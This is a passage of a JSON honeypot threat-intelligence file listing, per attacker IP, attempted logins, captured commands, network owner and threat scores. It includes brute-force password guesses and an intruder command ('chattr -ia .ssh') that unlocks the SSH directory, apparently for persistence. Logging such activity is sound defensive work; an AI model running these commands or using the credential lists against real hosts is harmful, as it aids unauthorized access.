      "last_seen": "2026-03-23T12:42:03.013Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "yuhan"
      ],
      "passwords_attempted": [
        "12345678",
        "1234rewq!",
        "qazQAZ123!@#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.1,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:38:21.895000+00:00",
        "last_seen_30d": "2026-03-23T12:43:13.313000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 17
      }
    },
    "91.130.20.7": {
      "attack_count": 32,
      "first_seen": "2026-03-09T17:54:00.657Z",
      "last_seen": "2026-03-09T17:57:27.975Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:54:00.657000+00:00",
        "last_seen_30d": "2026-03-09T17:58:32.661000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "51.195.209.131": {
      "attack_count": 30,
      "first_seen": "2026-03-21T03:30:21.576Z",
      "last_seen": "2026-03-21T03:31:20.671Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "Test@2022",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:30:21.576000+00:00",
        "last_seen_30d": "2026-03-21T03:32:29.906000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "64.89.161.182": {
      "attack_count": 26,
      "first_seen": "2026-03-02T01:52:41.202Z",
      "last_seen": "2026-03-12T13:05:47.469Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "proxyuser"
      ],
      "passwords_attempted": [
        "admin",
        "proxyuser"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1466,
        "days_active_30d": 30,
        "ports_targeted_30d": 238,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:52:30+00:00",
        "last_seen_30d": "2026-03-31T00:05:46.033000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1129,
        "Honeytrap": 305,
        "Cowrie": 26,
        "ConPot": 6
      }
    },
    "183.252.52.227": {
      "attack_count": 25,
      "first_seen": "2026-03-09T07:13:16.423Z",
      "last_seen": "2026-03-09T07:14:02.026Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123.123.123",
        "14872824",
        "231123",
        "root"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:13:16.423000+00:00",
        "last_seen_30d": "2026-03-09T07:15:05.732000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 16
      }
    },
    "163.7.1.152": {
      "attack_count": 19,
      "first_seen": "2026-03-08T22:12:49.823Z",
      "last_seen": "2026-03-08T22:15:25.777Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "Yzdidc@#!",
        "lL$EjqQyI3M4r8"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T22:12:49.823000+00:00",
        "last_seen_30d": "2026-03-08T22:25:55.024000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 11
      }
    },
    "139.59.23.82": {
      "attack_count": 18,
      "first_seen": "2026-03-10T14:44:29.939Z",
      "last_seen": "2026-03-19T16:36:30.113Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T14:44:29.939000+00:00",
        "last_seen_30d": "2026-03-19T16:37:38.801000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 13
      }
    },
    "47.92.196.171": {
      "attack_count": 16,
      "first_seen": "2026-03-21T19:27:11.495Z",
      "last_seen": "2026-03-22T05:17:22.573Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T19:27:11.495000+00:00",
        "last_seen_30d": "2026-03-22T07:06:10.251000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 16
      }
    },
    "125.227.156.55": {
      "attack_count": 10,
      "first_seen": "2026-03-22T20:19:57.386Z",
      "last_seen": "2026-03-22T20:20:00.784Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T20:19:57.386000+00:00",
        "last_seen_30d": "2026-03-22T20:21:10.291000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.78.106.30": {
      "attack_count": 10,
      "first_seen": "2026-03-17T09:24:46.298Z",
      "last_seen": "2026-03-17T09:24:58.725Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T09:24:46.298000+00:00",
        "last_seen_30d": "2026-03-17T09:26:02.542000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "38.123.103.209": {
      "attack_count": 10,
      "first_seen": "2026-03-12T03:43:34.120Z",
      "last_seen": "2026-03-12T03:44:51.224Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 152644,
      "as_org": "QINIU Limited",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T03:43:34.120000+00:00",
        "last_seen_30d": "2026-03-12T03:46:01.559000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "43.142.113.25": {
      "attack_count": 10,
      "first_seen": "2026-03-20T07:54:05.797Z",
      "last_seen": "2026-03-29T22:11:00.274Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T07:54:05.797000+00:00",
        "last_seen_30d": "2026-03-29T22:12:08.770000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10
      }
    },
    "34.53.197.50": {
      "attack_count": 9,
      "first_seen": "2026-03-08T16:06:11.745Z",
      "last_seen": "2026-03-08T16:06:21.315Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:06:11.745000+00:00",
        "last_seen_30d": "2026-03-08T16:07:29.458000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "162.142.125.201": {
      "attack_count": 8,
      "first_seen": "2026-03-10T18:31:17.131Z",
      "last_seen": "2026-03-10T18:31:54.086Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 22,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T17:56:04+00:00",
        "last_seen_30d": "2026-03-23T04:10:58.520000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 38,
        "Cowrie": 8,
        "ConPot": 2,
        "Dionaea": 1
      }
    },
    "2.59.22.234": {
      "attack_count": 8,
      "first_seen": "2026-03-19T22:49:09.225Z",
      "last_seen": "2026-03-19T22:49:16.991Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Vienna",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 30,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T10:03:13.213000+00:00",
        "last_seen_30d": "2026-03-31T15:53:23.472000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 245,
        "Honeytrap": 91,
        "Miniprint": 12,
        "Cowrie": 8,
        "Adbhoney": 2,
        "ConPot": 2,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "213.152.161.50": {
      "attack_count": 8,
      "first_seen": "2026-03-24T21:14:50.035Z",
      "last_seen": "2026-03-25T09:31:46.173Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 49453,
      "as_org": "Global Layer B.V.",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 2,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-24T10:56:18.450000+00:00",
        "last_seen_30d": "2026-03-25T09:42:09.557000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Cowrie": 8,
        "ConPot": 2,
        "Dionaea": 2,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "185.234.219.210": {
      "attack_count": 7,
      "first_seen": "2026-03-15T02:35:39.041Z",
      "last_seen": "2026-03-15T02:44:25.991Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf-space"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Vienna",
      "asn": 211415,
      "as_org": "Karolio IT paslaugos, UAB",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T02:35:39.041000+00:00",
        "last_seen_30d": "2026-03-15T02:46:36.450000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "106.107.248.155": {
      "attack_count": 6,
      "first_seen": "2026-03-25T05:00:05.503Z",
      "last_seen": "2026-03-25T09:24:34.892Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 4780,
      "as_org": "Digital United Inc.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T05:00:05.503000+00:00",
        "last_seen_30d": "2026-03-25T09:25:35.277000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "144.126.226.231": {
      "attack_count": 6,
      "first_seen": "2026-03-31T14:45:19.744Z",
      "last_seen": "2026-03-31T14:45:20.329Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T14:45:19.744000+00:00",
        "last_seen_30d": "2026-03-31T14:46:25.852000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "162.142.125.125": {
      "attack_count": 6,
      "first_seen": "2026-03-03T12:48:14.067Z",
      "last_seen": "2026-03-03T12:48:53.681Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.5,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 21,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T21:01:35.413000+00:00",
        "last_seen_30d": "2026-03-22T14:19:22.824000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124,
        "Honeytrap": 29,
        "ElasticPot": 13,
        "Ciscoasa": 6,
        "Cowrie": 6
      }
    },
    "205.210.31.55": {
      "attack_count": 6,
      "first_seen": "2026-03-11T21:54:12.930Z",
      "last_seen": "2026-03-31T16:33:37.298Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T20:56:58.584000+00:00",
        "last_seen_30d": "2026-03-31T21:17:54.490000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 35,
        "Cowrie": 6,
        "Dionaea": 2,
        "ElasticPot": 2
      }
    },
    "34.79.127.96": {
      "attack_count": 6,
      "first_seen": "2026-03-06T11:59:41.365Z",
      "last_seen": "2026-03-06T11:59:42.043Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:59:41.365000+00:00",
        "last_seen_30d": "2026-03-06T12:00:50.915000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "130.12.181.157": {
      "attack_count": 5,
      "first_seen": "2026-03-08T20:11:12.983Z",
      "last_seen": "2026-03-10T20:57:45.635Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 90.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1707,
        "days_active_30d": 28,
        "ports_targeted_30d": 239,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T00:01:07+00:00",
        "last_seen_30d": "2026-03-30T11:15:35.701000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1374,
        "Honeytrap": 241,
        "Heralding": 87,
        "Cowrie": 5
      }
    },
    "180.184.176.74": {
      "attack_count": 5,
      "first_seen": "2026-03-27T02:36:41.968Z",
      "last_seen": "2026-03-27T02:36:45.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ZAQ!2wsxcde3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T02:36:41.968000+00:00",
        "last_seen_30d": "2026-03-27T02:37:50.153000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.174": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:33:15.272Z",
      "last_seen": "2026-03-10T23:33:17.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "250988"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:33:15.272000+00:00",
        "last_seen_30d": "2026-03-10T23:34:27.736000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "42.51.40.180": {
      "attack_count": 5,
      "first_seen": "2026-03-07T03:24:59.235Z",
      "last_seen": "2026-03-07T03:26:59.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "saad"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 56005,
      "as_org": "Zhengzhou Fastidc Technology Co.,Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T03:24:59.235000+00:00",
        "last_seen_30d": "2026-03-07T03:36:59.588000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
